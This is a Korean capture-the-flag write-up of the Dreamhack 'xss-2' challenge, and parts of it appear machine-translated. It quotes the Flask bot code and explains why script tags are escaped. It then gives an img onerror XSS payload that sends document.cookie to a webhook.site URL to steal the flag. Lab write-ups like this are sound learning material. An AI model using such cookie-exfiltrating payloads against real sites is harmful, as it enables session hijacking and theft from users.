[드림핵]xss-2 풀이

https://dreamhack.io/wargame/challenges/268/

XSS-2

다양한 기능과 입력된 URL을 확인하는 봇으로 구현된 서비스입니다. XSS 취약점을 사용하여 플래그를 가져옵니다. 플래그는 FLAG 변수인 flag.txt에 있습니다. 플래그 형식은 DH{…} 입니다. 참조 클라이언트 측:

dreamhack.io

xss는 두 번째 문제입니다.


/

초기화면입니다. 지난 호와 별반 다르지 않은 것 같습니다.


/vuln

지난번 문제와 마찬가지로 스크립트 태그가 param의 인자로 입력되었습니다. 그러나 이번에는 제대로 작동하지 않는 것 같습니다.


/메모

매개변수 메모의 인수 출력을 보여줍니다.


/깃발

이전 호와 마찬가지로 익스플로잇 코드를 입력할 수 있는 공간이 제공되었습니다.

이제 코드를 분석해 봅시다.

@app.route("/flag", methods=("GET", "POST"))
def flag():
    if request.method == "GET":
        return render_template("flag.html")
    elif request.method == "POST":
        param = request.form.get("param")
        if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
            return '<script>alert("wrong??");history.go(-1);</script>'

        return '<script>alert("good");history.go(-1);</script>'

param에 입력된 코드와 플래그가 check_xss에 인수로 전달되는 것을 볼 수 있습니다.

check_xss 함수를 살펴보겠습니다.

def check_xss(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)

이전에 입력한 param 코드는 /vuln url과 url 변수에 포함되어 있습니다. 플래그는 쿠키 사전에 포함되어 있습니다.

그런 다음 read_url로 전달됩니다. read_url을 살펴보겠습니다.

def read_url(url, cookie={"name": "name", "value": "value"}):
    cookie.update({"domain": "127.0.0.1"})
    try:
        options = webdriver.ChromeOptions()
        for _ in (
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ):
            options.add_argument(_)
        driver = webdriver.Chrome("/chromedriver", options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get("http://127.0.0.1:8000/")
        driver.add_cookie(cookie)
        driver.get(url)
    except Exception as e:
        driver.quit()
        # return str(e)
        return False
    driver.quit()
    return True

그래서 쿠키 변수는 add_cookie 함수를 통해 쿠키가 됩니다. 그렇다면 쿠키에 플래그가 포함되어 있습니다.

get() 함수는 브라우저에 URL을 표시합니다. 그러나 스크립트 태그는 지난번처럼 실행되지 않았습니다.

문제가 무엇인지 확인하기 위해 /vuln 쪽 코드로 이동하겠습니다.

@app.route("/vuln")
def vuln():
    return render_template("vuln.html")

이 문제에 대한 /vuln 코드입니다. 여기에서 이전 문제와의 차이점이 명확해집니다.

@app.route("/vuln")
def vuln():
    param = request.args.get("param", "")
    return param

이것은 최신 xss-1 릴리스의 /vuln 코드입니다. 차이점을 볼 수 있습니까

xss-1에서 param 변수는 변경되지 않은 상태로 반환됩니다. 따라서 스크립트 태그는 변경하지 않고 그대로 표현합니다.

반면에 xss-2의 param 변수는 render_template()에 의해 반환됩니다. 엔티티 코드로 변환되기 때문에 스크립트 태그가 완전히 실행되지 않습니다.

이것을 우회할 수 있는 방법이 있습니까?

온에러로 해결하겠습니다

<img src="" onerror="location.href="https://webhook.site/5bc87717-de0e-457a-8049-392f11b1c764?flag="+document.cookie">

메모 페이지로 보내는 대신 webhook.site로 보내 보았습니다.


짜잔

+++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++

메모 사이트에 제출하면 플래그가 올바르게 반환되지만 webhook.site에 제출하면 종종 wrong??이라고 표시됩니다. 그 원인을 알아냈고 통신 문제인 것 같습니다. 나는 그것에 대한 링크를 남길 것이다

https://dreamhack.io/forum/qna/366

이것은 /flag의 잘못된 팝업 조건에 대한 질문입니다.

소스코드를 보면 readurl에 있는 함수의 결과에 따라 플래그가 false나 good으로 나오는데 디버깅이 불가능해서 readurl에서 except가 어디에서 발생하는지 모르겠습니다…

dreamhack.io

https://dreamhack.io/forum/qna/3156

xss-1에서 127.0.0.1:8000의 역할

플래그를 가져오는 구문입니다…

dreamhack.io

이상함 +)

그만큼